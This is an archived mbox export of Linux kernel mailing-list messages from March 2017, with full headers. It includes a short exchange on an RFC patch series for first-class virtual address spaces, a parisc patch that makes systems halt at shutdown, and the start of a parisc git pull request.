the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Thu, 16 Mar 2017 18:42:39 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1703161841220.3586@nanos>
References: <20170316172909.ux4u7dbspwlynsce@arch-dev>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1489686365 14516 195.159.176.226 (16 Mar 2017 17:46:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Mar 2017 17:46:05 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Andy Lutomirski <luto@amacapital.net>, Andy Lutomirski <luto@kernel.org>, 
    Richard Henderson <rth@twiddle.net>, 
    Ivan Kokshaysky <ink@jurassic.park.msu.ru>, 
    Matt Turner <mattst88@gmail.com>, Vineet Gupta <vgupta@synopsys.com>, 
    Russell King <linux@armlinux.org.uk>, 
    Catalin Marinas <catalin.marinas@arm.com>, 
    Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>, 
    Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>, 
    Fenghua Yu <fenghua.yu@intel.com>, James Hogan <james.hogan@imgtec.com>, 
    Ralf Baechle <ralf@linux-mips.org>, 
    "James E.J. Bottomley" <jejb@parisc-linux.org>, 
    Helge Deller <deller@gmx.de>, 
    Benjamin Herrenschmidt <benh@kernel.crashing.org>, 
    Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>, 
    Martin Schwidefsky <schwidefsky@de.ibm.com>, 
    Heiko Carstens <heiko.
To: Till Smejkal <till.smejkal@googlemail.com>
Original-X-From: owner-linux-mm@kvack.org Thu Mar 16 18:45:54 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1coZT8-00024Y-3p
	for glkm-linux-mm-2@m.gmane.org; Thu, 16 Mar 2017 18:45:46 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 8518F6B038C; Thu, 16 Mar 2017 13:45:51 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 829516B038F; Thu, 16 Mar 2017 13:45:51 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6533D6B038C; Thu, 16 Mar 2017 13:45:51 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f198.google.com (mail-wr0-f198.google.com [209.85.128.198])
	by kanga.kvack.org (Postfix) with ESMTP id 04CD36B038E
	for <linux-mm@kvack.org>; Thu, 16 Mar 2017 13:45:51 -0400 (EDT)
Original-Received: by mail-wr0-f198.google.com with SMTP id u48so9715085wrc.0
        for <linux-mm@kvack.org>; Thu, 16 Mar 2017 10:45:50 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:in-reply-to:message-id:references:user-agent
         :mime-version;
        bh=//EnzV7p0Xo6KcuW5de3hXiBR4msH6N8PlhUdYRjhfo=;
        b=Atu7fgd/je3dXTFtwXatcAOGz1I14MMvInSc1Y/6t3pS+HymFMoyRTPK+9gRNTogRp
         8v5e/bMSXYw/W66A1nAtsb6CEpDNeKCZlS2S1fuO87VwSS1/SgdackIRAq7LDp2W5q/S
         C9xoWpnqNKcDWzr1PkGrP+AHu8ijxKD6KdnRd8uP2xJR+J2gL0GzoS7YUVsvRQfXUw2I
         lSd5iGI5xmXEWFor1jDXAaTK9oMnTSwWt9Xb6gkeXStK3TMJ260OpGbRhuYafaMfqtGg
         Wr2aFWvZ00HUAKx33oHWRclPlAKrWy6l9oqIrRNe5rNwR8wceKubZfUaCYTXS/bTwbdq
         //KA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) smtp.mailfrom=tglx@linutronix.de
X-Gm-Message-State: AFeK/H1L3rqJ6YlZJ7ec3koxI4S7Bq4TUbr6jesR8M14o49sBo8USL5hUB/Z8QyxFV59BpnCM3ZVE0fxYM1sR99wkkVTGMmnSIYksQzSMDa6oMUSczMkVczVJaG21CbGbNRF0BNJcnXlEiRV/DsSnbmVEPPeJBZkrVyPPun0U3c6lBLRgVF8kUyRzbmA
X-Received: by 10.28.137.211 with SMTP id l202mr10332046wmd.118.1489686350535;
        Thu, 16 Mar 2017 10:45:50 -0700 (PDT)
X-Received: by 10.28.137.211 with SMTP id l202mr10332003wmd.118.1489686349851;
        Thu, 16 Mar 2017 10:45:49 -0700 (PDT)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de. [2a01:7a0:2:106d:700::1])
        by mx.google.com with ESMTPS id l32si7554250wre.329.2017.03.16.10.45.49
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Thu, 16 Mar 2017 10:45:49 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) client-ip=2a01:7a0:2:106d:700::1;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) smtp.mailfrom=tglx@linutronix.de
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1coZPp-0004gf-Aq; Thu, 16 Mar 2017 18:42:21 +0100
In-Reply-To: <20170316172909.ux4u7dbspwlynsce@arch-dev>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168584 gmane.linux.kernel:2434248 gmane.linux.ports.alpha:4157 gmane.linux.kernel.arc:2255 gmane.linux.ports.arm.kernel:565734 gmane.linux.ports.hexagon:1182 gmane.linux.ports.ia64:27721 gmane.linux.kernel.metag:1291 gmane.linux.ports.mips.general:58537 gmane.linux.ports.parisc:27353 gmane.linux.ports.ppc64.devel:139787 gmane.linux.ports.sh.devel:55156 gmane.linux.ports.sparc:24778 gmane.linux.drivers.video-input-infrastructure:114956 gmane.linux.drivers.mtd:72629 gmane.linux.usb.general:156286 gmane.linux.file-systems:119259 gmane.linux.kernel.aio.general:4978 gmane.linux.kernel.api:22591 gmane.linux.kernel.cross-arch:35611 gmane.linux.alsa.devel:165435
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168584>

On Thu, 16 Mar 2017, Till Smejkal wrote:
> On Thu, 16 Mar 2017, Thomas Gleixner wrote:
> > Why do we need yet another mechanism to represent something which looks
> > like a file instead of simply using existing mechanisms and extend them?
> 
> You are right. I also recognized during the discussion with Andy, Chris,
> Matthew, Luck, Rich and the others that there are already other
> techniques in the Linux kernel that can achieve the same functionality
> when combined. As I said also to the others, I will drop the VAS segments
> for future versions. The first class virtual address space feature was
> the more interesting part of the patchset anyways.

While you are at it, could you please drop this 'first class' marketing as
well? It has zero technical value, really.

Thanks,

	tglx

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Thu, 16 Mar 2017 10:50:33 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20170316175033.pgkep75iszqy3csb@arch-dev>
References: <alpine.DEB.2.20.1703161841220.3586@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489686652 1421 195.159.176.226 (16 Mar 2017 17:50:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Mar 2017 17:50:52 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: owner-linux-aio@kvack.org Thu Mar 16 18:50:41 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1coZXm-00079s-1e
	for gla-linux-aio@m.gmane.org; Thu, 16 Mar 2017 18:50:34 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 19ADF6B0389; Thu, 16 Mar 2017 13:50:40 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 124896B038A; Thu, 16 Mar 2017 13:50:40 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E69FC6B0391; Thu, 16 Mar 2017 13:50:39 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id A542E6B038A
	for <linux-aio@kvack.org>; Thu, 16 Mar 2017 13:50:39 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id u9so11876342wme.6
        for <linux-aio@kvack.org>; Thu, 16 Mar 2017 10:50:39 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=NqSECOhtIPvGa/ZlYGLRwoaJQiZSEEXcOGoCa/UZC24=;
        b=BJLJ0CnvKW0AMHFFGIhUHPDhycBwdnFfXtI689EhAqT6uvA2N9tWXaIZfEcBcMpGCf
         rlNiyrRRQX9UxtSY489pM4oG3ncdWfvSOsbcSPq+57PNZzTsSuXdhtwmiB1lm7tysYFT
         KYM+C6gUI/6igiA990fqGC6Ben8edx5HZifqmg2WuG3jY3RvebseSLjULbbDNHT7ITrd
         sAfm4DtfduPl96dB7+MV0jbs56SQMc83dQxv+LL8jdCx+eCRs9dAIBK5GihW+R2V4Uho
         c3NM8LnS7nlbYQqr38FOvPV1XQ0bLXGqjEluuwyE7dyxukFAVGk0TAB2SFH+ojo0QnfT
         56Sg==
X-Gm-Message-State: AFeK/H3qjkuYjYnWsARsmxuWoyYFY0oXEz0g2CeIXQSiTL9GKd6BoK/jgqJ2wrjBUv3IwgkwVfDrqGDpS+P6i/aeicNJWw7fmWVgjZtzt4E/1E2obfBcu9GpFk1NIzhrodXjTtoZYWM4YrY21iZyC/TBJi8hf1Q+bO/Sq/n3N4t5YtuZmIkeCnDflyRFyGYXSXVCF/YwV8actNiOVQ3uNkhOkLezcCKSmx466EAJ5EBEB7nhAl5ZyLgMATHJktGVxuuEhzuy1LgDWdomSvMHmclhKksj0f6SuJV14dnRRSmLFjJowd2UMeE=
X-Received: by 10.28.132.130 with SMTP id g124mr1542575wmd.60.1489686639210;
        Thu, 16 Mar 2017 10:50:39 -0700 (PDT)
X-Received: by 10.28.132.130 with SMTP id g124mr1542533wmd.60.1489686638638;
        Thu, 16 Mar 2017 10:50:38 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id 197si195795wms.102.2017.03.16.10.50.38
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 16 Mar 2017 10:50:38 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id g10so6826811wrg.0;
        Thu, 16 Mar 2017 10:50:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=NqSECOhtIPvGa/ZlYGLRwoaJQiZSEEXcOGoCa/UZC24=;
        b=fqE6aNHwZq02pkPK/N3+9XVMv5K+sdxBmMVfgacKjoR8GzEsxU9buZiP9cYHpbvT78
         Up6sWFswahm/vir6xwQhB92G5A4qUCrQ86GTaiLXKYtHLRG8le302oF+I0k6V6pGIRvB
         5n9lHJpfkQyzAZKIEXI/r3F0RODfSvkODGX2Rfhl9vMxfUX6Qb6UdJwwKZ5SiZTcT1yg
         wfcCjKuKNmUxfaUor1xUL48KqNLGdHQ0+li5DprAsMx/QJewiJqRYclvJkezklmH/aRW
         Wg4D3kiiy69JvPZF/WgffZUX/vsQdnx8Ymgzfg4hjO1IgGj+mKtaWP4jrUct7YelcVAk
         8IlQ==
X-Received: by 10.223.177.151 with SMTP id q23mr9053747wra.65.1489686638170;
        Thu, 16 Mar 2017 10:50:38 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id x127sm1193288wmf.31.2017.03.16.10.50.36
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 16 Mar 2017 10:50:37 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Thomas Gleixner <tglx@linutronix.de>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwid 
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.20.1703161841220.3586@nanos>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4979 gmane.linux.kernel:2434253 gmane.linux.ports.alpha:4158 gmane.linux.kernel.arc:2256 gmane.linux.ports.arm.kernel:565736 gmane.linux.ports.hexagon:1183 gmane.linux.ports.ia64:27722 gmane.linux.kernel.metag:1292 gmane.linux.ports.mips.general:58538 gmane.linux.ports.parisc:27354 gmane.linux.ports.ppc64.devel:139788 gmane.linux.ports.sh.devel:55157 gmane.linux.ports.sparc:24779 gmane.linux.drivers.video-input-infrastructure:114957 gmane.linux.drivers.mtd:72630 gmane.linux.usb.general:156287 gmane.linux.file-systems:119260 gmane.linux.kernel.mm:168586 gmane.linux.kernel.api:22592 gmane.linux.kernel.cross-arch:35612 gmane.linux.alsa.devel:165436
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4979>

On Thu, 16 Mar 2017, Thomas Gleixner wrote:
> On Thu, 16 Mar 2017, Till Smejkal wrote:
> > On Thu, 16 Mar 2017, Thomas Gleixner wrote:
> > > Why do we need yet another mechanism to represent something which looks
> > > like a file instead of simply using existing mechanisms and extend them?
> > 
> > You are right. I also recognized during the discussion with Andy, Chris,
> > Matthew, Luck, Rich and the others that there are already other
> > techniques in the Linux kernel that can achieve the same functionality
> > when combined. As I said also to the others, I will drop the VAS segments
> > for future versions. The first class virtual address space feature was
> > the more interesting part of the patchset anyways.
> 
> While you are at it, could you please drop this 'first class' marketing as
> well? It has zero technical value, really.

Yes of course. I am sorry for the trouble that I caused already.

Thanks
Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix system shutdown halting
Date: Sat, 18 Mar 2017 17:13:27 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20170318161327.GA31127@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489854021 29213 195.159.176.226 (18 Mar 2017 16:20:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 18 Mar 2017 16:20:21 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 18 17:20:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cpH5M-0006I8-Mj
	for glpp-linux-parisc@m.gmane.org; Sat, 18 Mar 2017 17:20:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751107AbdCRQUP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 18 Mar 2017 12:20:15 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:57642 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751040AbdCRQUO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 18 Mar 2017 12:20:14 -0400
Original-Received: from p100.box ([193.159.23.152]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LzXTy-1cCJTd04n4-014o78; Sat, 18
 Mar 2017 17:13:31 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:LqNyAoemc5cQvuBko8DsAApx3++QtXno7pqKPUqJ0qDEeJzXtYk
 jh380FNWkZtnWG72Usuw3c4VmyjggDYAgm20zNCpcbqwrjlXg1wHYA43KFULLdZYHVruLFI
 xMqY5SDpFzUcJt4GQaVCQ7SufG+n8J5epfTS58SIyeeNyx2+QGM01qpzh/+WvzL00FJTihV
 k205STA947N4X8MHfYjFw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jMwSov9kijY=:hVk/VAH7ZArUuTQOB4Z9QV
 otlgNAeLaOzBQXe358Sh/MBzIXoZ3ahVZv8G5k4FRRSQxgRYRUe8/g7uYMoA/76yu9BKEKfnM
 WCuyYY2WwpMwslh4chHSJZNljl92X+7a7wXq1gidorCjNZGE9fmijxEt1tdoNNyvIwgONkEDt
 5H0nVM+y5duugxr4k2SCzuxFAvRRso75tD640uS6fvDTYsET7wVDmxvtPMT8LsGT8jm4M/DTX
 Hbjeo9E5G/FwVVqU+u8S5ZPbffVvy+3p8Qh1ndD2sZdgCcfH0/lWs1nPi30oEEPkFy3YX52Ho
 wRAMIZ0HANmfiY9xm/rtpC3It+EdHojrYXkoAinl+vGtjIQUKcmeACzcqUd6Tdjk6XmCf+uSY
 Cv/FjTsnn5+JK/4xl8KRto6tduN6fxHZhemki6HUH7NTd8Fwm4WYKZmYkhdLWszFmYcBbWTeA
 ruurXC/dyny8P5Q5LSyupXmdf59dWe9E+4DaJy0ErPVrpe2he8zmfo9isc0y/wQZSiMaZy0qw
 wqUehr2DmM3oeP9NPSgKx6tjuLc4bxR5zXmgwQi/dItwvZ9gV57/iKiI0c0rkAMHXOjyVvHP3
 iZAxYGz90kDEt6HJCcBqcehDMTHiqmOCYvY7O1NtwKWXMsD81mGRxPPvfEGF3Q57lS9zW55Jw
 sqSf2z8be6rAkGjOA0KbqkwE6zwnVl8Ts+i+YnkAECLrRrMlAccJwqXIx9q9U0ixosDqbMv9k
 S1WltgSGNz6irkls/8U0OkDSiVeMbMvm+/qXrYPbYvs90kAc2p5KU4cxB7E=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27355>

On those parisc machines which don't provide a software power off
function, the system currently kills the init process at the end of a
shutdown and unexpectedly restarts insteads of halting.
Fix it by adding a loop which will not return.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org # 4.9+

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 06f7ca7..b76f503 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -142,6 +142,8 @@ void machine_power_off(void)
 
 	printk(KERN_EMERG "System shut down completed.\n"
 	       "Please power this system off now.");
+
+	for (;;);
 }
 
 void (*pm_power_off)(void) = machine_power_off;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for v4.11-rc3
Date: Sat, 18 Mar 2017 17:54:40 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20170318165440.GA24667@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489856097 1285 195.159.176.226 (18 Mar 2017 16:54:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 18 Mar 2017 16:54:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 18 17:54:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cpHcx-0008D4-KJ
	for glpp-linux-parisc@m.gmane.org; Sat, 18 Mar 2017 17:54:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751307AbdCRQy5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 18 Mar 2017 12:54:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62587 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751293AbdCRQy4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 18 Mar 2017 12:54:56 -0400
Original-Received: from p100.box ([193.159.23.152]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDhba-1cziYf0W7C-00H52E; Sat, 18
 Mar 2017 17:54:43 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:eDMJwqlAI0xr8+SiYYC4ABFcUVxDaKsPsmdrcyRi2eNZmXRJZYy
 NfTmNgVscvQmbLKvfPYSH6T2ks8qZeIchU0i/DpPJgZBGnl9iYjnp35VTm9l655OBbBzgrq
 531h1T5Eo2eESnHflKGDDAo4kMQzlc8AP5+lvreP8BfE50MzEbG/r/1Qj9eMC2KOs4u4bi1
 /ncatq30qjKGRX1W7dL5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:BmQN+2zEZYw=:ORDwPR0dj/90SRASFMsQnJ
 iOGijhEDB0duv4H0sSpLVoEzwgAghxOnYF8eelZi2C+QRRyBA4rnbrKZI9Y18RiaVyLdx/VPa
 3Og7LI6KqYgOtKb3uOCkz743j6ycw3XEO2hOdimwCYM4izY4o+McOuZrVklZzkBZqXp0yXDDx
 G2eKIsg1wFMmHpeWRLi5StFh18a6T03OQs3s22qB7qYbxJQ56+ZlX+RA55chdAflEonNyhYNh
 MvhPsbrqtTGbXe0em2aNRZg4ZYa55Pzl+aIIxgLHFNa+mgtJQLtdyFp/CGFzc6QeFf/0N7Ghy
 iq99QalrDoB2r3SimkW4gc0HMMi8FfuvoJ0e9aj/x+76u4S+3d/21lmJ7W4WUDeFimR2dzm1k
